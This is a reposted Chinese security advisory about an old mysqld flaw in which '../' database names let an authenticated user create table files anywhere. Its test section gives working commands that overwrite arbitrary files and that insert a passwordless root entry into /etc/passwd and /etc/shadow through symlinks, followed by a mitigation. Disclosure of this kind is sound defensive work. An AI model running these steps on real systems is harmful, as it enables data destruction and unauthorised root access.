文谷首页 | 业界传真 | 网络技术 | 服务器 | 数据库 | 存储技术 | 系统安全 | 无线技术 | Cisco | .Net | Windows | Linux | Unix | Java
电子商务 | 网站工程 | 网页设计 | 平面设计 | 多媒体 | 编程语言 | Oracle | MSSQL | Photoshop | ASP | PHP | 实用技巧 | 进程查询 | 文谷论坛
系统安全
 综合技术   数据库安全   编程安全   加密解密   漏洞补丁   安全文摘   系统分类   安全方案   木马病毒   防火墙   安全产品
 安全资讯   黑客技术   网络攻防
您现在的位置: IT文谷 >> 系统安全 >> 数据库安全 >> 文章正文
mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞
mysqld库文件创建漏洞
mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞
mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞

受影响的系统: 
mysql-3.20.32a,其它版本可能也存在此问题 
描述: 
-------------------------------------------------------------------------------- 


任何可以用合法的使用者名和密码登录进mysql的使用者都可以利用mysqld来发起拒绝服 
务攻击或者获得root权限,因为mysql视“../blah-blah”为合法的资料库名。其每 
张表格是用3个文件表示的:tablename.ISD,tablename.ISM和tablename.frm, 
但是mysqld在检查表格存在与否的时候仅仅检查tablename.frm。 

<* 来源:Pavlov, Lesha (lesha@nn.ru) *> 


测试程序: 
-------------------------------------------------------------------------------- 

警 告 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! 



1、通过mysqld覆盖任意文件从而导致拒绝服务: 
$ cd /var/tmp 
$ ln -s /some/file/you/wish/to/owerwrite qqq.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table qqq(www int); 
\q 

上述例子将覆盖/some/file/you/wish/to/overwrite。 

2、通过mysqld获得root权限: 
$ cd /var/tmp 
$ ln -s /etc/passwd gotcha.ISD 
$ ln -s /etc/shadow make_me_r00t.ISD 
$ mysql -u user -h localhost -p somepassword '../../tmp' 
create table gotcha(qqq varchar(255)); 
create table make_me_r00t(qqq varchar(255)); 
insert into gotcha values('\
r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
'); 
insert into make_me_r00t values('\
r00t::1:0:99999:7:-1:-1:\
'); 
\q 



-------------------------------------------------------------------------------- 
建议: 

临时解决办法: 

NSFOCUS建议您将mysql资料库文件的属主改为普通使用者,并以该普通使用者的身份运行mysqld。 

厂商补丁: 

暂无。 



mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞
  • 上一篇文章:

  • 下一篇文章:
  • 进入论坛讨论

    相关文章
    Oracle函数列表速查
    _disable_logging对于性能的影响
    针对Oracle数据库的优化器详细介绍
    索引与Null值对于Hints及执行计划的影响
    了解 Oracle ADF:入门示例
    DataGuard数据库服务器硬盘故障处理
    用sql比较两个数据库是否一致
    用触发器生成数据库表的数据操作日志
    查询Oracle各组件的版本信息
    Oracle入门基础:绑定变量测试
    Oracle的db_name和instance_name
    一个容易忽视的Oracle数据安全问题
    热门文章最新推荐

    版权与免责声明:
    ① 本网转载其他媒体稿件是为传播更多的信息,此类稿件不代表本网观点,版权归原作者所有,本网不承担此类稿件侵权行为的连带责任。
    ② 本站原创文章,转载时请注明出自文谷及作者姓名
    ③在本网BBS上发表言论者,文责自负。
    ④如您因版权等问题需要与本网联络,请在30日内联系 。
    mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞
    mysqld库文件创建漏洞mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞2006-3-29 14:10:56mysqld库文件创建漏洞

    全站热点
    最新推荐
    关于文谷 | 联系文谷 | 免责声明 | 文谷论坛
    Tel: 0577-65690019      E-mail: ichenjian@gmail.com    MSN:ichenjian@hotmail.com    QQ:2911194
    Copyright © 2004-2008 wengu.com 文谷 All Rights Reserved
    浙ICP备05000327号